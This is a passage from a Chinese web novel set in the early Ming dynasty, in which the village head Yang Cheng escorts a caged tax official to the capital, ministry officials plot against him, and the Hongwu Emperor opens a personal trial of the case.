秦强微微侧身,闪过这一刀,一脚把秦强踹飞出去,重重地撞在了墙上。 “看你踢斗那两脚就知道,你也是当过差的。不知道替人办了多少脏事儿,才穿上的这身官服吧。” 秦强抬起头来,嘴角流血,阴狠地看着杨成。 “海盐是你的地盘,让你先得意几天。有种你就送我进京,看看是你先死还是我先死。” 杨成点点头:“好,看看。” 第七十二章 刁民 海盐县已经有好多年没有押解过够级别的罪犯上京了,连个像样点的囚车都没有。 杨成让王铁匠现打了一个囚车,把秦强装在里面,当然不是铁的,是木头的。 不要以为铁匠就不会做木工,都是拿锤子吃饭的,手艺差不到哪里去。 何况杨成也没打算让秦强像电视里演的那样,脑袋露在外面,所以所谓囚车就是个大木笼子。 然后把刘通家的马车上面的轿厢拆了,把大木笼子往上一扔,就算搞定了。 为了防止秦强路上被风吹雨淋,生病死在路上,杨成还贴心地搞了一大块豆油泡过的羊毡子,盖在顶上。 平时都折叠在顶上,刮风下雨四面还能垂下来,堪称大明版的敞篷跑车——不咋的围笼,超过大明百分之九十九的马车。 但坐在不咋的围笼上的秦强并没有感觉很拉风,他一直在笼子中盘算着应对之策,简称笼中对。 他有绝对的把握,杨成这次进京绝对是找死。别说自己的靠山不会容忍,就是皇上也不会容忍。 税是皇上加的,令是户部发的。自己是为了给皇上收税,才被这些刁民记恨,打击报复的。 这样的刁民如果不死,朝廷如何向百官交代?以后还哪有官员肯为朝廷尽心办差? 而且最关键的一点,海盐原本是张士诚的吴地,皇上本就对这些地方的百姓心存芥蒂。 他们不闹事儿,皇上还觉得他们不老实呢。现在闹出这么大的事儿来,皇上能不趁机打压? 所以杨成是死定了的,跟着他一起闹事儿的百姓,以皇上的脾气,不说全杀,也得死一半! 现在唯一可虑的,就是自己怎么办。杨成输了,并不代表自己就赢了,这很可能是个两败俱伤的局面。 因为皇上固然恨刁民,但肯定也不喜欢贪官。两者比起来,皇上可能更恨后者。 所以自己一定得咬紧牙关,打死不能承认自己贪了,必须把责任全推在海盐百姓身上。 是他们对加税不满,妄图抗税,所以对兢兢业业征税的自己横加诬陷,罪大恶极! 皇上未必全信,但自己的靠山势力,不止在户部有,在刑部、兵部也都有,他们自然会帮自己说话的。 礼部也是大诰的反对者之一,必然也不会希望看到杨成依靠大诰,让朝廷命官威严扫地,非礼之极。 还有工部呢!工部四处搞建设,又是挖河治水,又是开山修路,经常要面对刁民搞拆迁。 要是这次让刁民骑在官员头上,以后再想以朝廷工程的名义拆房子,那不是难度大增吗? 如此一来,至少有户部、刑部、兵部、礼部、工部会站在自己这一边,就是皇上也得掂量掂量。 所以自己死罪是肯定没有的,但一个无能的名头只怕是跑不了的,今后想要升迁,只怕千难万难了。 也罢,老子给他们卖命了这么久,既然没法往上爬了,就多要些银两,找个地方隐居做个地主,娶几房小妾,生几个儿子好了。 笼中对策盘算已定,秦强心中不再彷徨,自然也就不呐喊了,又恢复了淡定有城府的状态。 在杨成来看他的时候,还大度地冲杨成笑了笑,意思是不跟一个将死之人计较。 “杨成,你送我上京,带这么多人,是怕有人拦路解救我吗?” 杨成摇摇头:“乡下人难得进京一趟,好多人托人说情,希望我能带着他们进京见识见识。” 秦强哭笑不得:“乡下人还真是淳朴好骗啊,你自己都是去送死的,他们竟然还想跟你一起死。” 杨成笑了笑:“也许他们对我有信心吧,觉得我能带他们全须全尾的回来。” 秦强笑着摇头:“你后面跟着的那十几辆车是干什么的?里面也都是人吗?” 杨成摇头:“不是,现在你不用知道,等到了京城,你自然就知道了。” 正说着话,一个将军骑着马,带着一群兵丁围拢过来,手持刀枪,气势惊人。 秦强笑道:“你这么多人,又拿着斧头,不知道的还以为是打劫的呢,可用我帮你解围?” 杨成站直了身子,冲领头的将军喊道:“赵将军,别来无恙啊!” 赵德柱勒住战马,看了看敞篷跑车里的秦强,脸色也不是太好看,冲杨成使了个眼色。 两人离囚车远些后,赵德柱叹了口气:“杨老弟啊,我听说海盐的事儿了。 你这次可是闹得过头儿了!我们盐城县尊在衙门里把桌子都掀了,大骂你是刁民啊。 他还说,幸亏盐城没有你这样的混账刺头,否则他一定辞官不干,让朝廷另请高明。” 杨成淡然一笑:“老赵,你觉得我是刁民吗?” 赵德柱皱着眉头想了想:“从个人角度,我觉得你是好人,但从官员角度,你确实是个刁民。” 杨成点点头:“那什么样的人,才不算是刁民呢?” 赵德柱愣了一下,苦笑着反问道:“听话呗,还能有啥?你说呢?” 杨成平静道:“官府有令,莫敢不从,农户种地,军户当兵,各司其职,各尽其用。 村里还有一棵有皮的树,就不出村逃荒;卖儿卖女只要还能活着,就不偷不抢。 在堂上被打断了腿,还得担心没法下跪失了礼数;出生就是贱户,只敢怨自己前世不修。 这就是官府眼中的良民吧。但凡被打了敢还手,被抢了敢喊冤的,都是刁民。” 赵德柱苦笑着看着杨成:“杨老弟,你弄出了糖霜,已经家资豪富,要什么有什么。 你有祖宗荫庇,在海盐地盘上,泼皮无赖不敢惹你,连官府都要给你几分面子。 你又有钱,又有势,又有名,又有利,我要是你,肯定快乐似神仙,好好过日子,何必如此行险?” 杨成挺直身子,淡然一笑:“一个白鹿山,就让我费尽心机地对付,这样的日子我不喜欢。 来一个户部主事,就敢存着收拾我的心思,这样的日子我更不喜欢。 只有我一个人有钱有势有名有利,我身边的人随时可能会被打断了腿,这样的日子,我还是不喜欢。 等有一天,我目光所及之处,没人再因冻饿而死,没人再被无故欺负,我就好好享受这神仙日子。” 赵德柱看了杨成半天:“杨老弟,你不会是真想造反吧?那样我可得离你远点了。” 杨成哈哈大笑:“我又不是圣人,目光所及能有多大,我看不见的事儿,与我无关,我才懒得管。 好狗护三邻,好汉护三村,我能护的地方,一个海盐就足够了。” 赵德柱松了口气:“那你就好好读书吧,将来当了海盐县尊,我万一得罪了人,好再回去给你当守备。 盐城境内,你不用担心有人为难。我跟县尊说过了,你是个疯子,让他别找不自在。 县尊昨天捧着大诰看了一夜,脸都白了,巴不得你快点通过他的地盘呢!” 杨成的车队慢慢悠悠地继续前进,而此时,几匹快马正急如星火地赶往京城…… 第七十三章 密谋 杨成的车队离着京城还有一段距离时,郭纲和吴礼送信的快马早已到了京城。 只是两人送信的对象不完全一致,郭纲的信是送给吏部的,而吴礼的信是群发的。 在朝为官,完全没有后台是不可能的,何况郭纲又不是真的清正廉明,自然更需要。 但郭纲的后台和白鹿山、吴礼、秦强等人的靠山性质截然不同,他的后台更简单直接。 吏部,是六部中公认的老大,甚至吏部尚书还有个别称叫天官,地位高于其他五部。 因此吏部官员自有一份骄傲,就连吏部的贪官,都要贪得有品位,看不起那种粗暴的敛财手段。 就如郭纲的后台,就是吏部郎中高定。此人稳坐郎中之位已经十年之久,既不升迁,也不降职。 上与吏部尚书,左右侍郎交好,下与各员外郎、主事投契,人缘儿极好,办事能力也强。 每当朝廷觉得他是个人才,想要提拔他时,他总会出些小错儿,升职之事也就耽搁了。 他收人钱财也是有原则的,不是谁给钱都收的,他会先考察人品,才确定长期收礼关系。 有资格给他送礼的官员,都和郭纲相似,想过好日子,又不敢太过分,胆小怕事,顺风打旗。 这种官员,出事儿也出不了大事儿,自己随手便可化解,也不会连累自己。 当然这种官员也孝敬不了大钱,但胜在细水长流,积少成多,源源不断。 高定打开郭纲的密信,从头到尾地读了一遍。然后揉揉眼睛,又从头到尾读了一遍。 “真是想不到,当今天下,还有此等人物。只是以皇上如今的性子,此子吉凶难料啊。” 高定把送信的牛师爷叫进来:“信,我就不回了,你回去告诉郭纲。 这次的事儿他办得不错,没沾太大麻烦。其他的不用他担心,我自会帮他解决的。 不管最后秦强和杨成谁死谁活,都连累不到他,这点能力我还是有的。” 牛师爷连连拱手致谢,又掏出一张大额宝钞塞给高定,就又赶回去报平安了。 相比高定这边的云淡风轻,那边收到吴礼信件的人则全都炸锅了,立刻借过寿名义召开群聊。 “大胆狂徒,竟敢如此嚣张,抓捕官员,对抗朝廷,形同谋反!” “可他拿着大诰呢,大诰上也确实是这么说的,否则吴礼早就把他拿下了!” “那又如何,他不过是拿着鸡毛当令箭!” “可这鸡毛是皇上的鸡毛啊,他拿着皇上的鸡毛当令箭,别人也不敢不认,如之奈何啊!” “依我看,你们兵部下令,随便命令沿途哪个县城府城的武官,干掉这小子算了!” “你倒是聪明,那杨成可以死在皇上手里,却不能死在我手里,你想让我陪葬吗?” “确实,此时动用官兵阵仗太大,确实不妥。你是刑部的,让刑部捕快出手啊!” “怎么,他不想陪葬,老子就想陪葬吗?你工部手下营造队里不也有人吗,你上啊!” 一片争吵声中,从后堂走出一人,正是郭桓,他厉声怒喝:“都闭嘴吧!” 众人顿时没声了,片刻之后,郭桓开口道:“各位也不必慌乱,不要被乱拳打死了老师傅。 此事确实是开天辟地头一遭,大家没有应对之策,也很正常,但优势依然在我们。 他以草民之身欺辱朝廷命官,又是吴地张士诚的旧民,此次闹事又是在朝廷加税的节骨眼上。 无论从哪一条上讲,皇上都不会放纵了此事!我们要做的,是确保秦强不会被皇上迁怒! 我们五部上下,共同进言,将此次事件所有过错都推到杨成头上。 让皇上相信,若放过杨成,则天下刁民难治,若迁怒秦强,则天下官员寒心。” 众人连连点头称是,郭桓又吩咐道:“秦强是户部主事,户部自然会先出面。 然后是兵部,按吴礼所说,杨成豢养私兵,横行海盐,对抗驻军,其罪当诛! 之后是礼部,说明杨成为一己私心,歪曲圣意,辜负皇上爱民之心,罪大恶极! 刑部随后补充,杨成父祖当初曾对抗我皇上义军,属叛逆之徒,按律当抄家灭门。 至于工部,只需表达一下官员被刁民欺辱的悲愤就行了,不可太过,过犹不及。” 一个官员提出:“是不是知会吏部一声,毕竟吏部为六部之手,他们开口,分量格外不同。” 郭桓摇头道:“算了吧。刘崧那个老东西,像茅坑里的石头,又臭又硬,把下面人也带得混账起来。 虽然其中也有咱们的人,可偷偷帮忙尚可,让他们站出来说话,太冒险了。” 吏部尚书刘崧,按正史刚好应该是洪武十四年,也就是去年病逝,享年六十岁。 但不知道是不是杨成扰乱了时空,这个营养不良的家伙居然活到六十一了。 大明朝由于俸禄体系问题,穷官很多,但穷到刘崧这个程度的,也是叹为观止。 于谦穷,死后没有棺材板,家里使着破竹席,但至少住的房子还行。 海瑞穷,不过年节不买肉,官衙后院种蔬菜,但至少还能纳得起妾。 刘崧穷得就比较彻底了,当官不带家眷,养不起。一床布被盖了十年舍不得换。 后来估计老鼠看不下去了,就帮了他一把,把被子咬破了洞,他才换了一床。 然后这床破被也没扔,剪吧剪吧给儿子做了身新衣服…… 有这么个家伙镇着,吏部的整体风评还算凑合,就连贪官都比较佛系,以高定为代表。 就在五部官员紧张的秘密集会商讨之时,皇宫里的朱元璋却在享受着难得的轻松快乐时刻。 武英殿里没有外人,只有朱元璋、马皇后和朱标一家人。 从今年入夏以来,马皇后就一直身子沉重,经常在床上一躺就是一天。 今天天气和暖,阳光明媚,马皇后觉得身子也好受了些,便强撑着,让宫女扶自己出来走走。 这一走就走到了武英殿。按大明规制,后宫是不能到前殿来的,但众所周知,规矩都是给外人定的。 朱元璋和朱标本来都在伏案疾书,像极了杨成小时候儿被老师留堂,杨成写作业,老师批改作业。 见马皇后进来,两人同时放下笔,跑过来搀扶。 马皇后从宫女手中接过食盒儿:“今天早上,魏国公夫人谢氏来看我,带来了最新的糕点。 我尝了一块儿,觉得好吃,想着你们爷儿俩估计又错过了午膳,就给你们带点来。” 朱元璋和朱标每人拿了一块,咬下一口,舌头来不及搅拌,就先要夸奖起来。 “报,锦衣卫指挥使毛骧,入宫请见万岁。” 第七十四章 天家 朱元璋愣了一下,摆手道:“让他回头再来吧,他没什么大不了的事儿。” 马皇后歪靠在椅子上,看着爷儿俩吃点心,笑问道:“你怎知他的事儿不重要?” 朱元璋难得和妻儿共享一刻,不愿被打扰,但也确实觉得毛骧没什么大事儿。 “你不知道,咱今年建了这锦衣卫,让这小子当了指挥使,给咱当耳目。 可他倒好,什么鸡毛蒜皮的事儿都来啰嗦,当咱闲得没事了?我已经训了他好几次了!” 朱标笑道:“锦衣卫的差使没有先例,父皇只是一句‘当知尽知’,确实是难为毛骧了。 他还没弄清什么是父皇的‘当知’,自然就只能先‘尽知’,宁可啰嗦,不可遗漏。 挨了父皇几次训,我看如今已经好多了,知道什么事儿该详,什么事儿该略了。” 马皇后努力坐直了身子:“还是叫进来吧,没准有急事儿呢,别耽误了。 毛骧这孩子也是很早就跟着咱们的,我也当子侄一样,正好也见见。 我这身子骨儿,也不知道当年的熟人,还能见着几个了。” 朱元璋听不得这个,赶紧拦住话头:“见就见,说这些干什么,太医说你好着呢!” 看着朱元璋挤出的笑脸,朱标嘴里香甜的点心也变得有些苦涩了。 太医虽然说得吞吞吐吐的,但判断几乎都差不多,最多撑到今年过年,再多只怕是难了。 毛骧得旨进来后,先给朱元璋行礼,然后是马皇后,最后是朱标。 马皇后笑道:“记忆里你还是个毛头小子呢,想不到一转眼也满脸胡子了。 淑儿,给他一块点心吃。以前他最爱到厨房里偷吃的了。” 毛骧双手接过点心,看着马皇后憔悴的脸,鼻子发酸,谢恩也瓮声瓮气的。 朱元璋皱皱眉:“毛骧,你急着入宫,可是有何要事?” 毛骧赶紧道:“皇上,锦衣卫得到消息,海盐百姓手持大诰,抓了户部督办征税的主事秦强。 已经打入囚车,押送上京了。因事无先例,沿途官员驻军皆不敢拦阻。 锦衣卫的消息快,想来地方上官员写的折子,这一两天也就该到京城了。” “什么?”朱元璋惊讶的张大了嘴,还没完全嚼碎的点心渣子都从嘴角掉出来了。 朱标虽然也十分惊讶,但还是更优雅一些,至少是把点心咽下去了才开口的。 “父皇的大诰由礼部印发下去有半年了吧,之前礼部说已到府县,看来所言非虚啊。” 毛骧犹豫一下,被朱元璋看出来了,不满地看了他一眼。 “有什么话就说,吞吞吐吐的,朕让你当锦衣卫,就是让你对咱……对朕知无不言!” 毛骧低声道:“锦衣卫成立不久,消息未必全面,但就臣所知,大诰最多到了府城。 县城里也就知县、教谕手里有,并未宣发于民。那杨成如何得知,尚不可知。” 朱元璋一愣,随即脸色阴沉下来:“这事儿先不管,你先说说海盐的事儿,详细说!” 毛骧说了一遍,但正如他所说,他的锦衣卫也是个刚成立的新部门儿,远没有后面那么厉害。 海盐城也还没有分配专门的暗桩呢,这消息还是一个盐城的暗桩传回来的,所以详细程度有限。 但大体上是清楚的,秦强催逼征税,加了两成损耗,半银半粮,大概催逼得太狠了,就被百姓抓了。 朱标沉吟道:“两成损耗,确实高了些。海盐距离京城很近,一成损耗应该就够了。 不过这是户部定下的标准,并非秦强所为,倒也怪不到他身上。 平时征税,银粮由百姓自愿,大概户部考虑这次是急用的军饷,所以定了半银半粮吧?” 朱元璋冷哼道:“两成损耗、半银半粮,其中确实有些情弊,但尚在法理之内。 百姓借此闹事,分明是刁民行径!这种事,没有领头的人是闹不起来的! 大诰既未宣讲下乡,百姓如何得知?可见必是别有用心之人,你刚才说领头的是谁?” 毛骧这个功课做得比较好,立刻答道:“是杨家湾的族长杨成,其祖父是当年号称杨家军的义军首领,名杨厚丰,绰号杨老虎。” 朱元璋一愣,眉头紧皱,想着这个名字为何有些熟悉,却一时有些想不起来了。 他这些年打过的大战太多了,当时义军遍地都是,名头也各不相同,连叫上山虎、滚地龙的都有。 “海盐,这地方朕想起来了。那时候占了丢,丢了占的,朕打过,徐达打过,常遇春也打过。 这个杨老虎,朕也想起来了。当时咱们和他打得少,因为咱们只抢粮不杀人。 元庭和他打得最厉害,有一次一支上千人的元军,几乎被他给全歼了,小明王还下旨表彰过一次。” 朱标当时年少,而且也没有上过战场,并不知道这些事儿,忍不住有些好奇。 “此人既然如此不凡,又在江南之地,儿臣竟未听说过,可见儿臣在宫里呆久了,孤陋寡闻。” 马皇后笑道:“并非如此。当初那些义军首领,在大明一统时,要么被你父皇击败,要么投诚受封,朝廷自有记录。 可这人既未战败,也未受封,而是直接解散了杨家军,归隐田园了。这些事你问蓝玉就知道了。” 朱元璋沉着脸,从忆往昔中抽离出情绪来,回到眼前的问题上。 “既然是杨老虎的孙子,有些胆识手段也就不足为奇了。不过他才多大,就当一族之长? 想来是那杨老虎名望太大,骄纵出了这么一个胆大妄为的孙子,也算晚节不保!” 毛骧想到“知无不言”四个字,开口道:“万岁,杨老虎解甲归田时,七个儿子都已战死。 这杨成是他大儿子的遗腹子,杨老虎没几年也死了,倒也谈不上……骄纵。” 朱元璋又是一愣,忍不住看向马皇后。马皇后轻轻别过脸去,但朱元璋仍能看到她虚弱的脸上有一丝不忍之色。 “七子仅一孙吗?也罢,待朕审完,若非大奸大恶之徒,但有一线之明,朕就开恩留他一命。” 朱标也一愣:“父皇……你要亲审此案?” 朱元璋冷冷一笑:“杨成利用大诰抗税闹事固然可恨,但这毕竟是持大诰上京的第一案。 连咱都不重视,百官自然更加轻慢大诰,百姓又怎么会相信大诰?” 第七十五章 帝王心术 天色渐晚,朱元璋让朱标继续批奏折,自己则亲自护送马皇后回宫。 安顿她躺在床上后,朱元璋走在她床边上,拉着她的手,感受着那虚弱的脉搏。 “重八,我听标儿说过,这次的税,其实是太重了些。” 朱元璋嗯了一声:“军情如火,事急从权。都只想享太平,太平哪是那么好享的。” 马皇后苦笑道:“那也不能可着一片地方折腾啊。我知道你有心结,可你已经是皇上了。 皇上当以仁心视万民,连陈友谅的地方你都不在意了,何必盯着东吴之地呢?” 朱元璋闷声道:“陈友谅虽可恨,但在湖广百姓中口碑并不好,皆知其为背恩负义之徒。 故而陈友谅决战失利,则兵败如山倒。而张士诚却在东吴之地颇有恩义之名。 当初王师攻打东吴,百姓皆出钱出力,扶持张士诚对抗王师,否则他焉能支撑数年之久? 便是今日,东吴之地也有些白莲余孽,四处煽风点火。咱正好加税,给他们机会。 咱活着时,把这些火苗都找出来扑灭了,免得留给标儿烦心。” 马皇后叹息道:“这都是过去的事儿了,何必念念不忘呢。那杨成既然拿着大诰上京,也不可能是白莲教的。” 朱元璋叹息道:“妹子,你很聪明,但有些事儿还是不明白,这只是其一罢了。 大明虽已定鼎十几年了,但仍有内忧外患,并没到安享太平之时。 仗要打,税就不能不加。可是大明这么大,在何处征加税,就大有学问。 边陲之地需安抚羁縻,朝廷不拨钱就很好了,是肯定不能加税的。 北方之地地广人稀,朝廷几次组织南方和中原人口向北迁移,却骂声一片,收效甚微。 所以朝廷要在人口稠密,百姓富庶的可控之地加税,这样风险最小,百姓也不至于活不下去。” 马皇后静静的听着,许久后才道:“富庶之地加税,本是对的,只是要有个限度。超过了限度,百姓一样是受不了的。” 朱元璋笑道:“若有人受不了了,想要离开,咱就给他开张路引,让他到北方种地去! 妹子放心吧,咱不会不管百姓死活的。比起其他地方来,东吴还算过得好的。 可这番话,不能说给别人听,当皇帝不是当山大王,不能杀富济贫。 反正有人说咱恨东吴百姓,东吴百姓也恨咱,那就借着这个名义加税好了。 东吴之地的税赋,将来留给标儿去慢慢降吧,反正他们恨我是改不了的,到时候感激标儿就行了。” 见马皇后不再说话,朱元璋低头看了一眼,发现她已沉沉睡去。 朱元璋放开马皇后的手,坐在床边看了许久,才转身回武英殿。 此时夜色已经笼罩了皇宫,武英殿的灯烛映出朱标的身影,朱元璋笑了笑,加快了脚步。 第二天早朝,群臣叩拜,朱元璋免礼平身,随即户部侍郎王道亨就站了出来。 “皇上,东吴地区加税,户部派员征收,遭遇海盐县刁民抗税,竟悍然抓捕、殴打官员。 此乃闻所未闻之事,当真骇人听闻。若不从严处置,各地百姓必群起效仿,朝廷威严荡然无存!” 兵部侍郎王志随机出班:“皇上,海盐县守备吴礼上奏,刁民以砍柴证为由私蓄武装,对抗官兵。 且煽动数千百姓围堵城门,吴礼怕激起民变,不敢强行解救户部官员。” 礼部尚书赵瑁出班道:“刁民手持大诰,导致本地及沿途官员不敢擅自处置,嚣张至极。 大诰本是皇上为晓谕百官,教化百姓之物,这刁民竟敢如此歪曲滥用,礼法何存?” 刑部尚书王惠迪沉声道:“刁民中领头之人,乃当地一霸,私蓄武装横行不法,当地捕快都不敢管。” 工部侍郎麦志德语气沉痛:“皇上,刁民不可纵啊,否则今后天下读书人谁还敢当官,为天子牧万民?” 众位大佬开口,下面的郎中等人自然也都帮腔起来,一时间群情激奋,涕泪横流。 朱元璋静静的听完:“这事儿朕知道了。锦衣卫奏报,按眼下的速度,百姓的车队最多三日进京。 公堂设在应天府大堂。此案由朕亲审,太子及各位爱卿协理,必然会给百官,给天下一个交代。” 三日后,杨成的车队到了正阳门下。 天下没有不透风的墙,杨成的车队一路走来,拉着囚笼,举着大诰,十分拉风,早已远近皆知。 京城百姓永远都是最爱看热闹的,因此早早在正阳门外两侧道路上聚集,夹道迎接。 守城士兵早已接到命令,并为为难众人,只是把那辆拉着斧头的车扣下了,其余车辆放行。 应天府代府尹夏思忠带着几个捕快,亲自在正阳门内引路,一路把杨成引到应天府大堂。 今日应天府外格外森严,除了禁军外,新成立的锦衣卫也或明或暗的挤在看热闹的百姓中间。 杨成的车队,每辆车和车夫身边都站着四个兵士,只有举着大诰的杨成被单独带到了大堂上。 同时顺天府的捕快也打开了不咋地围笼,把里面的秦强搀扶下来,一同带上大堂。 此时应天府大堂就像个微缩版的奉天殿,朱元璋坐中间,太子和六部的人在两边。 府尹级别的夏思忠都没混上正经座儿,在最靠边的位置弄了个大号马扎,好歹不用站着。 朱元璋看着手举大诰的杨成走进来,面沉似水,但眼神中却带着复杂的神色。 这大诰是他的心血,是他用自己胎本学历加寺院函授的文化程度,一点一点写出来的。 虽然后面让翰林院进行了润色,但本质上这本书就是他的心声,就是他想让大明百姓都听见的心声啊! 严格来说,朱元璋虽然发了很多圣旨,但属于个人的主打作品只有两本:《皇明祖训》和《大诰》。 而其中《皇明祖训》是给子孙后代看的,相当于内部文件,不是公开发行的。 所以,朱元璋面向广大读者的作品就《大诰》这一部,而且根据锦衣卫所说,之前的成绩非常不好。 在读人数只有几千人,都是关系粉儿,基本就是大明的全体官员,以备皇上查问。 而且这些都是假粉儿,基本都是只收藏在书架上,大部分都没有追读,导致热度很低。 最可恨的是,自己不追读也就罢了,还不肯帮忙宣传,也不给好评、点赞以及打赏啥的。 朱元璋虽贵为天子,富有四海,但在文化圈里,基本就属于扑街的小透明。 但此时看着杨成举着大诰,感觉就像扑街网文作者忽然遇到一个真粉丝一样,难免有些兴奋。 但再看看一旁鼻青脸肿,须发蓬乱,站立不稳的秦强,朱元璋的语气还是冰冷无比。 “杨成,朕颁发大诰,是给天下申冤无路,告状无门的百姓开一线之明。 你却拿着大诰,对抗朝廷加税,殴打抓捕朝廷命官,今日六部官员皆在此处,京城百姓皆可观审。 你若真有冤屈,朕自当为你做主;你若是利用大诰,煽动百姓对抗朝廷,朕凌迟了你!” 第七十六章 对质 “凌迟”两个字,从朱元璋嘴里说出来,轻飘飘的就像在说“讨厌”。 但就是这种举重若轻,杀人如草的威压,远比任何狠人放的狠话,都更让人心惊胆战。 杨成在前世见过很多老大,总结出一个道理。 凡是咬牙切齿、以决绝的态度放狠话说要杀你的,对你的威胁都很有限。 并不是因为他在吓唬你,或没有胆量杀人,而是因为这种人没实力。 所以在他的心目中,杀你已经是他能做出的最伟大的事儿了,需要付出他全部的代价。 而那些云淡风轻的说要杀你,感觉只是要做一件不喜欢的事儿的,才是最大的威胁。 因为在他的心目中,杀你是很容易的,只是他想不想的问题。 众人的目光瞬间聚在杨成的脸上,尤其是六部官员,他们见过很多所谓的狠人。 在乡下横行一方的土霸王,在县城耍勇斗狠的混混,在山头上吃人心的山匪。 当这些人离开自己赖以称王称霸的小环境,面对朝廷的威压时,只需一个府尹便能让他们屁滚尿流。 何况今天杨成面对的是朱元璋,一个让所有官员都屁滚尿流的存在,所以他应该是屁滚尿流乘以二。 然而杨成没有屁滚尿流,他严谨的行完礼后,再次举起大诰,就像朝臣举起自己的笏板一样。 “启禀皇上,草民杨成,状告户部主事秦强,借朝廷加税之机,行中饱私囊之举! 对商税随意加征,认定非民生之物者,动辄加至六成税赋,且封锁县城,阻碍货物进出。 对粮税定格加征损耗,且强制税吏淋斛踢斗,使用不准尺称,盘剥百姓,以图私利! 当朝廷危难之际,不思实心办差,反而借机生财,此等贪官酷吏,正合万岁凌迟之意!” 朱元璋愣了一下,他没想到杨成如此镇定,言辞条理清楚,语气不卑不亢,大出他意料之外。 从历史上看,朱元璋的审案断案水平,远远谈不上高明,跟青天更是不沾边儿。 在中国的审案历史上,有很多因业务能力极强而青史留名的,例如宋慈、包拯、狄仁杰。 甚至后面人们会把很多跟他们无关的案子安在他们头上,为他们不断的叠加神探的BUFF。 但也有两个人,业务能力一般,但因为特别有原则和有特别的原则,而被留名的。 这俩人一个是海瑞,一个是朱元璋。 海瑞的原则是:天之道,损有余而补不足,一个人越需要什么,就越给他什么。 穷人与富人争财,穷人胜;读书人和百姓争礼,读书人胜;老实人和恶人争斗,老实人胜。 朱元璋的原则是:宁可错杀千人,不可放过一个。雪崩之时,没有无辜的雪花儿。 如果朱元璋是个外科大夫,那么当他发现脚指头上有一个贪腐的脓包,他会直接从大腿根儿截肢。 所以这次,朱元璋是真动了杀心的,如果发现秦强贪腐,秦强得死,但杨成也得死。 所以朱元璋对杨成的杀气是真的,可这次却罕见的失灵了,这让他不得不仔细的看看杨成。 略显棱角的脸上,带着少年冲天的侠气,一双黑白分明的眼睛,不失礼节的看向皇帝的下三路。 双手捧着大诰,神情中带着对大诰的无比信任;挺拔的身材,宽肩乍背,像一头蹲踞待扑的猛虎。 朱元璋的眼前浮现出一个本已遗忘的男人,横刀立马,挡在自己的大军之前,同样的不卑不亢。 “既然你告秦强贪腐,朕也不能只听你一面之词,秦强,你可有话说?” 秦强上堂后,就被朱元璋的杀气压得喘不过气来。他虽是官员,但小小户部主事根本没资格上朝见驾。 而且他毕竟心虚,面对著名的贪官刑罚行为艺术家朱元璋,难免心惊胆战,强作镇定。 好在六部官员都在,尤其是除了吏部的其余五部,都集体怒视杨成,给了他很大的鼓励。 此时见朱元璋允许折辩,赶紧跪地喊冤:“皇上,臣无能,身为朝廷命官,为国征税,有权有兵。 却因臣办事不力,手段不强,优柔寡断,担心伤及被少数刁民煽动的无知百姓,伤皇上大诰爱民之心。 竟被刁民趁机作乱,殴打羞辱,斯文扫地。臣有辱朝廷威严,有辱皇上圣明!臣死罪呀!” 六部官员暗自点头,看来能被户部排下去催税的,果然没有无能之辈,深谙朝堂争斗之道。 秦强上来先认罪,但认的可不是贪官酷吏之罪,而是无能之罪,可他是怎么个无能法呢? 他是县里级别最高的文官,又是朝廷派去征税的专员,确实是有权有兵的。 但他被杨成绑了,是因为他不想派兵镇压抗税百姓,因为他认为百姓是被杨成这等刁民煽动的。 而且杨成拿着大诰,他不想让皇上的大诰失去威严,所以选择牺牲自己,束手就擒,甘愿受辱。 秦强说的声泪俱下,百官兔死狐悲,感同身受,纷纷擦眼角的同时,对杨成愈发怒目而视。 朱元璋点点头:“有这份心,自然是好的,不过杨成告你之事,你还没回答呢!” 废话少说,说实际的。你这一套老子见多了! 秦强泪流满面,举起两手向苍天,就像有冤无处诉的不是百姓,而是他一样。 “皇上,他说臣中饱私囊,可臣两袖清风,身无长物,家无余财,温饱而已! 他说臣随意加征商税,可皇上说过要重农抑商,此次加税,粮税尚且加五成,商税自然要加一倍! 如此以商税之有余,补农税之不足,不伤国家根本,乃是利国利民之策。 至于加六成商税之物,本就非百姓生活所需,乃是富豪权贵们所用奢靡之物! 这杨成是杨家湾的族长,杨家湾出产的糖霜乃是暴利之物,臣便额外加征。 杨成狡猾至极,让人将糖霜运到京城出售,躲避高额商税,臣因此才派人盘查堵截。 杨成因此深恨臣,煽动商户罢市,以对抗朝廷。臣予以打压,令其开市。 杨成见无计可施,恼羞成怒,趁百姓交粮税之时,带着族人百姓发动暴乱。 臣不愿伤及无辜百姓,故而束手就擒,只盼被押送进京之日,能面见皇上,诉清详情。 皇上圣明烛照,明鉴万里,定能为臣洗净冤屈,让天下百姓知道大明官员并非都是贪官!” 第七十七章 六部官 朱元璋听完了两面之词,在心中权衡了一下,大概得出了一个结论。 但他并没有急于表态,而是看向杨成:“秦强所言,不无道理,你有何话说?” 杨成朗声道:“皇上,官员为朝廷征税,乃是堂堂正正的差使。 户部派员监督,所用手段,也当光明正大,何须以酷吏手段为之,败坏朝廷名声? 自古贤臣皆忠君爱民,此两者一体,未闻有以苛酷百姓手段,而治国兴邦之官员。 但贪官酷吏一体者,如恒河沙数,难以计数,可见无酷则难成贪,无贪则不必酷。 海盐商户被苛以重税,并未敢有怨言,只是请秦强拿出朝廷命令,以验真伪。 谁知秦强百般搪塞,不肯公示,商户因此才关门歇业。 秦强见贪污之心难以得逞,恼羞成怒,拘捕商户,严刑拷打,逼迫交易。 海盐百姓皆是良善之民,朝廷有难,百姓为朝廷分忧乃是本分,并无怨言。 但若百姓一片忠心,被人中饱私囊,不能解难于朝廷,百姓安得不怒?” 这番话不但让朱元璋皱起了眉头,六部官员更是面面相觑,脸色难看,尤其是户部。 郭桓待要亲自下场,奈何朱元璋还没让他说话呢,他也不敢直接开口。 若是朝堂纷争,他身为户部代尚书,自然是有资格直接说话的,可现在是审案啊! 郭桓看了一眼户部侍郎王道亨,王道亨心领神会,轻轻点头。 秦强全身发抖,其实他一直在抖,但之前主要是表演的,因为杨成说的都是实话,他是在狡辩,所以并不觉得冤枉。 可现在他是真的气的发抖,因为杨成在说谎!他何时要求过自己拿出朝廷命令看过? “皇上,杨成在说谎!他从头到尾也没要求过看朝廷命令,他这分明是信口胡说!” 杨成看起来比秦强还气愤:“秦强!你听听你在说什么?我没要求过看朝廷命令? 你的意思是,我都不知道你是不是按朝廷命令行事,就直接断定你自己中饱私囊,把你抓了? 然后抓了你还不跑,还要大老远地进京告你,告你的罪名还是你瞒着朝廷,中饱私囊?” 郭恒轻轻咳嗽一声:“皇上,臣管着户部,不敢妄言偏袒,但有些事想问问杨成。” 